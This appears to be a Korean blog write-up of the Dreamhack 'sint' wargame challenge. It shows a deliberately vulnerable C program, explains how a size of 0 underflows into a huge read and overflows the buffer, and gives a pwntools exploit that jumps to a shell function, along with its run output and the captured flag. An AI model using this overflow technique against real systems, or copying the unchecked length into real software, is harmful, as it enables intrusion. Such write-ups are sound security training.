[Dreamhack] sint

Sisyphus·2022년 9월 1일
0

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}
  • 쉘을 띄워주는 get_shell 함수가 있습니다.
  • size가 256 초과거나 0미만이면 프로그램을 종료합니다.
  • size 값을 입력 받고 size-1만큼 buf에 입력을 받습니다.

⇾ size에 0을 넣으면 if문을 우회할 수 있습니다. 그리고 read 함수의 세번째 인자는 부호가 없기 때문에 -1이 들어오면 Integer Underflow가 발생해서 4294967295 크기 만큼 입력을 받게 되어 버퍼 오버플로우가 발생합니다.



Offset 찾기

   0x080486e2 <+118>:   mov    eax,DWORD PTR [ebp-0x104]
   0x080486e8 <+124>:   sub    eax,0x1
   0x080486eb <+127>:   push   eax
   0x080486ec <+128>:   lea    eax,[ebp-0x100]
   0x080486f2 <+134>:   push   eax
   0x080486f3 <+135>:   push   0x0
   0x080486f5 <+137>:   call   0x8048450 <read@plt>
  • offset : 0x104


익스플로잇 코드

from pwn import *

p = remote("host3.dreamhack.games", 10219)
e = ELF("./sint")

get_shell = e.symbols['get_shell']


payload = b'A' * 0x104
payload += p32(get_shell)

p.sendlineafter("Size: ", str(0))
p.sendlineafter("Data: ", payload)

p.interactive()


익스플로잇

 kali@kali  ~/wargame/dreamhack/sint  python3 remote.py 2> /dev/null
[+] Opening connection to host3.dreamhack.games on port 10219: Done
[*] '/home/kali/wargame/dreamhack/sint/sint'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
$ ls
flag
sint

$ cat flag
DH{d66e84c453b960cfe37780e8ed9d70ab}

0개의 댓글